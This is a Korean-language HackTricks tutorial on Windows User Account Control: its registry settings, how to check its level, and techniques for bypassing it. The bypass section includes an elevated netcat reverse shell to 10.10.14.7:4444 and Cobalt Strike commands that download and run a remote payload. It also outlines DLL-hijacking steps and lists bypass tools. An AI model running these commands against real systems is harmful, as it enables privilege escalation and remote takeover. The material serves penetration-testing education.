hacktricks/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

21 KiB

UAC - 사용자 계정 컨트롤

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 워크플로우를 쉽게 구축하고 자동화하세요.
지금 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

사용자 계정 컨트롤 (UAC)승격된 활동에 대한 동의 프롬프트를 활성화하는 기능입니다. 애플리케이션은 서로 다른 무결성 수준을 가지며, 높은 수준의 프로그램은 시스템을 손상시킬 수 있는 작업을 수행할 수 있습니다. UAC가 활성화되면 애플리케이션과 작업은 항상 비관리자 계정의 보안 컨텍스트에서 실행되며, 관리자가 명시적으로 이러한 애플리케이션/작업이 시스템에 대한 관리자 수준의 액세스를 갖도록 승인하지 않는 한 그렇습니다. 이는 관리자가 의도하지 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.

무결성 수준에 대한 자세한 정보는 다음을 참조하세요:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

UAC가 설정되면 관리자는 2개의 토큰을 받습니다: 일반 사용자 키, 일반 수준에서 정기적인 작업을 수행하기 위한 것과 관리자 권한이 있는 하나입니다.

페이지에서는 UAC의 작동 방식에 대해 깊이 있게 논의하며, 로그인 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 보안 정책을 사용하여 로컬 수준에서 (secpol.msc 사용) 또는 Active Directory 도메인 환경에서 그룹 정책 개체(GPO)를 통해 UAC 작동 방식을 조직에 맞게 구성하고 배포할 수 있습니다. 다양한 설정에 대한 자세한 내용은 여기에서 논의됩니다. UAC에 대해 설정할 수 있는 그룹 정책 설정은 10개가 있습니다. 다음 표는 추가 세부 정보를 제공합니다:

그룹 정책 설정 레지스트리 키 기본 설정
사용자 계정 컨트롤: 내장 관리자 계정에 대한 관리자 승인 모드 FilterAdministratorToken 비활성화
사용자 계정 컨트롤: UIAccess 애플리케이션이 보안 데스크탑을 사용하지 않고 승격을 요청할 수 있도록 허용 EnableUIADesktopToggle 비활성화
사용자 계정 컨트롤: 관리자에 대한 승격 프롬프트의 동작 ConsentPromptBehaviorAdmin 비Windows 이진 파일에 대한 동의 요청
사용자 계정 컨트롤: 일반 사용자에 대한 승격 프롬프트의 동작 ConsentPromptBehaviorUser 보안 데스크탑에서 자격 증명 요청
사용자 계정 컨트롤: 애플리케이션 설치 감지 및 승격 요청 EnableInstallerDetection 활성화 (홈 기본값) 비활성화 (기업 기본값)
사용자 계정 컨트롤: 서명되고 검증된 실행 파일만 승격 ValidateAdminCodeSignatures 비활성화
사용자 계정 컨트롤: 보안 위치에 설치된 UIAccess 애플리케이션만 승격 EnableSecureUIAPaths 활성화
사용자 계정 컨트롤: 모든 관리자를 관리자 승인 모드에서 실행 EnableLUA 활성화
사용자 계정 컨트롤: 승격 요청 시 보안 데스크탑으로 전환 PromptOnSecureDesktop 활성화
사용자 계정 컨트롤: 파일 및 레지스트리 쓰기 실패를 사용자별 위치로 가상화 EnableVirtualization 활성화

UAC 우회 이론

일부 프로그램은 사용자가 관리자 그룹에 속하는 경우 자동으로 승격됩니다. 이러한 이진 파일은 Manifests 내부에 autoElevate 옵션을 True 값으로 가지고 있습니다. 이 이진 파일은 Microsoft에 의해 서명되어야 합니다.

그런 다음 UAC우회하기 위해 ( 중간 무결성 수준에서 높은 수준으로 승격) 일부 공격자는 이러한 종류의 이진 파일을 사용하여 임의 코드를 실행합니다. 이는 높은 무결성 프로세스에서 실행되기 때문입니다.

이진 파일의 _Manifest_를 확인하려면 Sysinternals의 sigcheck.exe 도구를 사용할 수 있습니다. 그리고 Process Explorer 또는 Process Monitor (Sysinternals)의 프로세스 무결성 수준을 확인할 수 있습니다.

UAC 확인

UAC가 활성화되어 있는지 확인하려면 다음을 수행하세요:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

만약 **1**이면 UAC가 활성화된 것이고, **0**이거나 존재하지 않으면 UAC가 비활성화된 것입니다.

그런 다음, 어떤 수준이 구성되어 있는지 확인하십시오:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 만약 **0**이면, UAC는 프롬프트를 표시하지 않습니다 (마치 비활성화된 것처럼)
  • 만약 **1**이면, 관리자는 사용자 이름과 비밀번호를 요청받아야 하며, 높은 권한으로 바이너리를 실행할 수 있습니다 (보안 데스크탑에서)
  • 만약 **2**이면 (항상 나에게 알림) UAC는 관리자가 높은 권한으로 무언가를 실행하려고 할 때 항상 확인을 요청합니다 (보안 데스크탑에서)
  • 만약 **3**이면 1과 같지만 보안 데스크탑에서 필요하지 않습니다
  • 만약 **4**이면 2와 같지만 보안 데스크탑에서 필요하지 않습니다
  • 만약 5(기본값)이면, 높은 권한으로 비 Windows 바이너리를 실행하기 위해 관리자의 확인을 요청합니다

그런 다음, **LocalAccountTokenFilterPolicy**의 값을 살펴봐야 합니다
값이 **0**이면, RID 500 사용자 (내장 관리자)만이 UAC 없이 관리 작업을 수행할 수 있으며, 만약 1이면 "Administrators" 그룹 내의 모든 계정이 이를 수행할 수 있습니다.

마지막으로 FilterAdministratorToken 키의 값을 살펴봐야 합니다
값이 0(기본값)일 경우, 내장 관리자 계정은 원격 관리 작업을 수행할 수 있으며, 만약 **1**이면 내장 관리자 계정은 원격 관리 작업을 수행할 수 없습니다, 단 LocalAccountTokenFilterPolicy1로 설정된 경우를 제외합니다.

요약

  • 만약 EnableLUA=0 또는 존재하지 않으면, 누구에게도 UAC 없음
  • 만약 EnableLua=1이고 LocalAccountTokenFilterPolicy=1이면, 누구에게도 UAC 없음
  • 만약 EnableLua=1이고 LocalAccountTokenFilterPolicy=0FilterAdministratorToken=0이면, RID 500 (내장 관리자)에게는 UAC 없음
  • 만약 EnableLua=1이고 LocalAccountTokenFilterPolicy=0FilterAdministratorToken=1이면, 모든 사람에게 UAC 있음

이 모든 정보는 metasploit 모듈: post/windows/gather/win_privs를 사용하여 수집할 수 있습니다.

사용자의 그룹을 확인하고 무결성 수준을 얻을 수도 있습니다:

net user %username%
whoami /groups | findstr Level

UAC 우회

{% hint style="info" %} 피해자에게 그래픽 접근이 가능하다면, UAC 우회는 간단합니다. UAC 프롬프트가 나타날 때 "예"를 클릭하면 됩니다. {% endhint %}

UAC 우회는 다음과 같은 상황에서 필요합니다: UAC가 활성화되어 있고, 프로세스가 중간 무결성 컨텍스트에서 실행되며, 사용자가 관리자 그룹에 속하는 경우.

UAC가 가장 높은 보안 수준(항상)에 있을 때 UAC를 우회하는 것이 다른 수준(기본)에 비해 훨씬 더 어렵다는 점을 언급하는 것이 중요합니다.

UAC 비활성화

UAC가 이미 비활성화되어 있는 경우(ConsentPromptBehaviorAdmin0) 관리자 권한으로 리버스 셸을 실행할 수 있습니다 (높은 무결성 수준) 다음과 같은 방법을 사용하여:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC 우회 토큰 복제

매우 기본적인 UAC "우회" (전체 파일 시스템 접근)

관리자 그룹에 속한 사용자로 쉘을 가지고 있다면 C$ 공유를 SMB(파일 시스템)를 통해 새로운 디스크에 로컬로 마운트할 수 있으며 파일 시스템 내의 모든 것에 접근할 수 있습니다 (관리자 홈 폴더 포함).

{% hint style="warning" %} 이 트릭은 더 이상 작동하지 않는 것 같습니다 {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC 우회 공격과 코발트 스트라이크

코발트 스트라이크 기술은 UAC가 최대 보안 수준으로 설정되어 있지 않을 때만 작동합니다.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploitUAC우회하는 여러 모듈을 가지고 있습니다.

KRBUACBypass

문서 및 도구는 https://github.com/wh0amitz/KRBUACBypass에서 확인할 수 있습니다.

UAC 우회 익스플로잇

UACME는 여러 UAC 우회 익스플로잇의 컴파일입니다. visual studio 또는 msbuild를 사용하여 UACME를 컴파일해야 한다는 점에 유의하세요. 컴파일은 여러 실행 파일(예: Source\Akagi\outout\x64\Debug\Akagi.exe)을 생성하며, 어떤 것이 필요한지 알아야 합니다.
일부 우회는 다른 프로그램을 알림하여 사용자에게 무언가가 발생하고 있음을 알릴 수 있으므로 주의해야 합니다.

UACME는 각 기술이 작동하기 시작한 빌드 버전을 가지고 있습니다. 귀하의 버전에 영향을 미치는 기술을 검색할 수 있습니다:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

More UAC bypass

모든 기술은 AUC를 우회하기 위해 전체 대화형 셸필요로 합니다 (일반 nc.exe 셸은 충분하지 않습니다).

meterpreter 세션을 사용하여 얻을 수 있습니다. Session 값이 1프로세스로 마이그레이션하세요:

(_explorer.exe_는 작동해야 합니다)

UAC Bypass with GUI

GUI에 접근할 수 있다면 UAC 프롬프트를 수락하면 됩니다, 실제로 우회할 필요는 없습니다. 따라서 GUI에 접근하면 UAC를 우회할 수 있습니다.

게다가, 누군가가 사용 중인 GUI 세션을 얻으면 (잠재적으로 RDP를 통해) 관리자로 실행되는 몇 가지 도구가 있을 수 있습니다. 여기서 cmd를 예를 들어 관리자로 직접 실행할 수 있습니다. UAC에 의해 다시 프롬프트되지 않습니다. https://github.com/oski02/UAC-GUI-Bypass-appverif와 같은 도구입니다. 이는 좀 더 은밀할 수 있습니다.

Noisy brute-force UAC bypass

시끄러운 것이 신경 쓰이지 않는다면 다음과 같은 것을 실행할 수 있습니다: https://github.com/Chainski/ForceAdmin사용자가 수락할 때까지 권한 상승을 요청합니다.

Your own bypass - Basic UAC bypass methodology

UACME를 살펴보면 대부분의 UAC 우회는 Dll Hijacking 취약점을 악용합니다 (주로 _C:\Windows\System32_에 악성 dll을 작성하는 방식입니다). Dll Hijacking 취약점을 찾는 방법을 배우려면 여기를 읽으세요.

  1. 자동 상승하는 이진 파일을 찾습니다 (실행 시 높은 무결성 수준에서 실행되는지 확인).
  2. procmon을 사용하여 DLL Hijacking에 취약할 수 있는 "NAME NOT FOUND" 이벤트를 찾습니다.
  3. 아마도 쓰기 권한이 없는 일부 보호된 경로(예: C:\Windows\System32) 내에 DLL을 작성해야 할 것입니다. 이를 우회할 수 있는 방법은:
    1. wusa.exe: Windows 7, 8 및 8.1. CAB 파일의 내용을 보호된 경로 내에 추출할 수 있습니다 (이 도구는 높은 무결성 수준에서 실행되기 때문입니다).
    2. IFileOperation: Windows 10.
  4. 보호된 경로 내에 DLL을 복사하고 취약하고 자동 상승된 이진 파일을 실행하는 스크립트를 준비합니다.

Another UAC bypass technique

자동 상승 이진 파일레지스트리에서 이진 파일 또는 명령이름/경로읽으려는지 감시하는 것입니다 (이진 파일이 HKCU 내에서 이 정보를 검색하는 경우 더 흥미롭습니다).

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}